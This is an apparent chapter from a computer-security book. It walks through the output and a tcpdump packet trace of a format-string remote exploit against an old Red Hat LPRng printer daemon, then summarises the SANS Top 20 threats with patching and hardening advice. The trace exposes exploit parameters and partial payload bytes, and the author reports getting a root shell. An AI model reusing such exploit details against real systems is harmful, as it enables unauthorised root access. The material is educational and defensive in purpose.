Exploits and the SANS Top 20
In this section, we will cover the exploits run by crackers. We will also look at the SANS 20 Most Critical Internet Security Threats list.
Reconnaissance is vital in figuring out what is open and what is closed. The next step for a cracker is to actually break into a computer network. Crackers do this by exploiting weaknesses in operating system services.
There are many exploits out there, and finding the right exploit can be a headache. Not all exploits are created equal. By this, I mean that most exploits are operating system-dependent. Just because there is a line printer exploit for Linux doesn't mean it would work on Solaris, and vice versa.
If you want to find out about the latest exploits and vulnerabilities, subscribe to the BugTraq mailing list at http://online.securityfocus.com/cgi-bin/sfonline/subscribe.pl or look at the archives at http://online.securityfocus.com/archive/1.
To help explain what an exploit is and what it looks like when it is being executed, I have included the output from an exploit and some packets involved in the exploit. The exploit we are going to look at is related to the Red Hat line printer daemon, though it has been fixed in the current version of RedHat.
Here are the listings, along with some play-by-play for each:
+++ http://www.netcat.it remote exploit for LPRng/lpd +++ Exploit information +++ Victim: 192.168.1.25 +++ Type: 0 - RedHat 7.0 - Guinesss +++ Eip address: 0xbffff3ec +++ Shellcode address: 0xbffff7f2 +++ Position: 300 +++ Alignment: 2 +++ Offset 0 +++ Attacking 192.168.1.25 with our format string +++ Brute force man, relax and enjoy the ride ;>
From this output, we know that the exploit is attacking a Red Hat line printer. Want to see how tcpdump views this attack?
18:34:19.991789 > 192.168.1.5.2894 > _192.168.1.25.printer: S 4221747912:4221747912(0) _win 32120 <mss 1460,sackOK,timestamp 4058996 0,nop,wscale 0> _(DF) (ttl 64, id 11263) 4500 003c 2bff 4000 4006 8b4e c0a8 0105 c0a8 0119 0b4e 0203 fba2 c2c8 0000 0000 a002 7d78 8bb1 0000 0204 05b4 0402 080a 003d ef74 0000 0000 0103 0300 18:34:19.993434 < 192.168.1.25.printer > _192.168.1.5.2894: S 397480959:397480959(0) ack 4221747913 win 32120 _<mss 1460,sackOK,timestamp 393475 4058996,nop,wscale 0> _(DF) (ttl 64, id 3278) 4500 003c 0cce 4000 4006 aa7f c0a8 0119 c0a8 0105 0203 0b4e 17b1 13ff fba2 c2c9 a012 7d78 5ee7 0000 0204 05b4 0402 080a 0006 0103 003d ef74 0103 0300 18:34:19.993514 > 192.168.1.5.2894 > 192.168.1.25.printer: . 1:1(0) _ ack 1 win 32120 <nop,nop,timestamp 4058996 393475> (DF) _(ttl 64, id 11264) 4500 0034 2c00 4000 4006 8b55 c0a8 0105 c0a8 0119 0b4e 0203 fba2 c2c9 17b1 1400 8010 7d78 8dac 0000 0101 080a 003d ef74 0006 0103 18:34:19.999662 < 192.168.1.25.printer > 192.168.1.5.2894: P 1:31(30) _ack 1 win 32120 <nop,nop,timestamp 393476 4058996> (DF) (ttl 64, id 3279) 4500 0052 0ccf 4000 4006 aa68 c0a8 0119 c0a8 0105 0203 0b4e 17b1 1400 fba2 c2c9 8018 7d78 3e5b 0000 0101 080a 0006 0104 003d ef74 6c70 643a 203a 204d 616c 666f 726d 6564 2066 726f 6d20 6164 6472 6573 730a 18:34:19.999686 > 192.168.1.5.2894 > _192.168.1.25.printer: . 1:1(0) ack 31 win 32120 _<nop,nop,timestamp 4058997 393476> (DF) (ttl 64, id 11265) 4500 0034 2c01 4000 4006 8b54 c0a8 0105 c0a8 0119 0b4e 0203 fba2 c2c9 17b1 141e 8010 7d78 8d8c 0000 0101 080a 003d ef75 0006 0104 18:34:20.000863 < 192.168.1.25.printer > _192.168.1.5.2894: F 31:31(0) ack 1 win 32120 _<nop,nop,timestamp 393476 4058997> (DF) (ttl 64, id 3280) 4500 0034 0cd0 4000 4006 aa85 c0a8 0119 c0a8 0105 0203 0b4e 17b1 141e fba2 c2c9 8011 7d78 8d8b 0000 0101 080a 0006 0104 003d ef75 18:34:20.000878 > 192.168.1.5.2894 > 192.168.1.25.printer: . 1:1(0) _ack 32 win 32120 <nop,nop,timestamp 4058997 393476> (DF) _(ttl 64, id 11266) 4500 0034 2c02 4000 4006 8b53 c0a8 0105 c0a8 0119 0b4e 0203 fba2 c2c9 17b1 141f 8010 7d78 8d8b 0000 0101 080a 003d ef75 0006 0104 18:34:20.049095 > 192.168.1.5.2894 > 192.168.1.25.printer: P 1:424(423) _ ack 32 win 32120 <nop,nop,timestamp 4059002 393476> (DF) (ttl 64, _id 11267) 4500 01db 2c03 4000 4006 89ab c0a8 0105 c0a8 0119 0b4e 0203 fba2 c2c9 17b1 141f 8018 7d78 54c5 0000 0101 080a 003d ef7a 0006 0104 4242 f0ff ffbf f1ff ffbf f2ff ffbf f3ff ffbf 5858 5858 5858 5858 5858 5858 5858 5858 5858 252e 3137 3675 2533 3030 246e 252e 3133 7525 3330 3124 6e25 2e32 3533 7525 3330 3224 6e25 2e31 3932
Let's look at what's happening here. First, we see 192.168.1.5 and 192.168.1.25 attempting to make a connection using the typical TCP three-way handshake. In the next sequence of events, we see 192.168.1.5 attempting to run the exploit against 192.168.1.25. Finally, we see the 192.168.1.5 pushing 423 bytes of data to 192.168.1.25. The exploit continues this for a while until it is able to brute-force the exploit.
When this exploit worked, 192.168.1.25 provided me with a shell running as root, and I could do whatever I wanted.
Exploits are the way crackers break into systems. To protect yourself against them, you will have to update your operating system with patches. (This goes for all systems.)
The SANS Top 20
The SANS Top 20 Most Critical Internet Security Threats is a list of the most common exploits found on computer networks. What makes this list so valuable is that SANS provides a list of the related CVE entries (Common Vulnerabilities and Exposures), so you can do more research if necessary. This list was compiled by SANS with the help of many security experts and the security community.
The first threat is the default installation of operating systems, which can lead to a number of problems: The system might have default passwords, it probably doesn't have the latest security patches, and it most likely is running unnecessary services that should be turned off to improve security.
The second exploit is the use of weak passwords. Need I say more? In any form of risk assessment, this is one of the most common vulnerabilities I see. When coming up with a password, remember to follow these simple guidelines:
Make sure that the password is at least eight characters in length.
Make sure that the password is a combination of numbers, special characters, and alphanumeric characters.
Pick a password that is not in the dictionary.
It is often useful to enforce the guidelines by configuring the password policy in the operating system or via a third-party product such as Password Bouncer (http://www.passwordbouncer.com). For more information, see Chapter 14, "Password Security."
For more information on password strengths, visit http://www.cert.org/tech_tips/passwd_file_protection.html.
Failing to keep good, up-to-date backups is the next issue. Backups need to be regularly verified to ensure that they are working, which many companies rarely do.
Another problem is having a large number of open ports. You can think of each port as a way to break into your system. Therefore, it makes sense to only keep open ports that you absolutely need.
The next threat on the SANS list is incorrect packet filtering rules on your firewall. More information can be found in Chapter 10, "Firewalls," and Chapter 23, "Routers, Switches, and Hubs."
SANS also points out that one of the biggest problems is inadequate logging. It is good to do a review of your systems to make sure that you are logging what you need during a security incident. Also, you need to make sure that the logs are getting stored somewhere secure so the cracker won't erase or modify them.
Vulnerable CGI programs are the seventh exploit in the SANS Top 20. These have been around for years, and are the main reason for most of the hack Web sites that receive mainstream attention. This type of vulnerability seems like it won't go away. Even in 2002, after knowing about this problem for years, the Bugzilla program suffered from one. Many of these CGI-BIN programs are vulnerable, especially the samples provided by vendors, and allow a malicious user to obtain root access. When an attacker obtains that level of access, he can do as he pleases (include changing the Web site).
More information can be found on CGI-BIN attacks at http://www.cert.org/advisories/CA-1997-24.html, http://www.cert.org/advisories/CA-1996-11.html, or http://www.cert.org/advisories/CA-1997-07.html. This list is not comprehensive; please dig a little further if you think you are vulnerable.
SANS also lists several Windows-specific problems. The first problem is Unicode vulnerabilities. Unicode is a character set, which in some ways is an extended form of ASCII, that allows you to represent the characters of just about every written language on Earth. ASCII, on the other hand, is limited to a subset of European languages. Using this and some tricks, a cracker can break in through your IIS server. The solution is fairly easy, in that you just need to stay current on IIS patches.
Next is the ISAPI extension buffer overflow. Buffer overflows are discussed in detail in Chapter 26, "Secure Application Development, Languages, and Extensions." This bug affects several Microsoft products. Again, the best fix is to make sure you have the latest security patches installed.
The third Microsoft-specific exploit on the list is vulnerable Remote Data Service security holes in IISI. You can prevent this exploit by simply patching your IIS.
More information can be found on RDS security holes at http://www.wiretrip.net/rfp/p/doc.asp?id=29&iface=2.
Next is global file sharing using NetBIOS (ports 135139). This is probably the biggest security problem users have if they are connected to a cable modem or DSL. Most do not understand the concept of file sharing, and leave it enabled. Another problem is Napster. Although Napster is not listed here, it does require people to share directories, and that can lead to sharing more than what is necessary. Preventive measures are given on the SANS sites, but the basic idea is to minimize the number of shares, use passwords, and restrict access.
Consider implementing the RestrictAnonymous registry key for Internet-connected hosts in standalone or untrusted domain environments.
The fifth Microsoft-specific problem is anonymous logins. Crackers can connect and get information about systems without having to log in. This problem can be minimized by setting some registry keys, as documented on the SANS site, but cannot be completely eliminated if you have domain controllers.
The next problem is that Windows uses weak encryption by default for backward-compatibility reasons. However, most people do not need this. Unfortunately, the fix is very complex and might require that you get rid of any Windows 9x client machines.
The National Security Agency has published many worthwhile guides to securing Windows 2000. They are available at http://nsa2.www.conxion.com/win2k/download.htm.
The first Unix exploit is the use of vulnerable Remote Procedure Calls (RPCs). RPCs enable C programs to make procedure calls on other machines across the network. Most vendors provide patches to help tighten up RPC services. Nevertheless, the best policy regarding this service is if you don't need it, then kill it. You can run ps-ef|grep rpc, find the Process ID (PID), and then run kill -9 PID. You can also disable RPC services at startup on most Unix operating systems by changing the startup file (located at /etc/rc.d/) from an S (start up) to K (kill). You can find out what RPC programs are running by using rpcinfo -p.
More information can be found on RPC attacks from http://www.cert.org/incident_notes/IN-99-04.html.
The second Unix exploit is vulnerable sendmail and MIME attacks. These vulnerabilities are related to buffer overflows as well as pipe attacks that enable immediate root compromise. There are a couple of ways to secure these problem areas: The first is to maintain the correct patches for your sendmail/mail servers. The other is that if you do not need to run either of these services, disable them (follow the same procedures as spelled out for RPC).
More information can be found on sendmail security holes at http://www.cve.mitre.org/cgi-bin/cvekey.cgi?keyword=sendmail. The latest version of sendmail can always be found at http://www.sendmail.org/.
The next issue listed in the Top 20 is BIND. BIND is a program used for DNS servers to help resolve names to addresses, and is used throughout the Internet. In the recent years, major holes have been found in many versions of BIND. It is vital for anyone who runs BIND to always keep up on the latest vulnerabilities. If you check the CVE database for BIND, you'll see that, like clockwork, it has a security problem every few months.
The fourth Unix problem described by SANS is the use of r commands. These are commands that bypass normal authentication mechanisms, and should be disabled. More information is available in Chapter 21, "Unix."
SANS also lists the line printer daemon as a threat. By sending enough print jobs, it is possible to either cause a denial-of-service attack or break into a machine. The solution is to keep up-to-date on patches.
The sixth Unix exploit is vulnerable sadmind and mountd. This vulnerability applies to many versions of Unix.
For more information on the sadmind and mountd security holes, visit http://www.cert.org/advisories/CA-99-16-sadmind.html or http://www.cert.org/advisories/CA-1998-12.html.
The final exploit in the SANS Top 20 is Default SNMP community strings set to "public" and "private". Along with the weak passwords, this vulnerability can be controlled by basic administration.
For more information on SNMP and community strings, see http://www.cisco.com/univercd/cc/td/doc/cisintwk/ito_doc/snmp.htm#xtocid210315.
Keep in mind that these are not the only vulnerabilities on the Internet. A cracker can use any exploit he has in his bag of tricks against you and your network.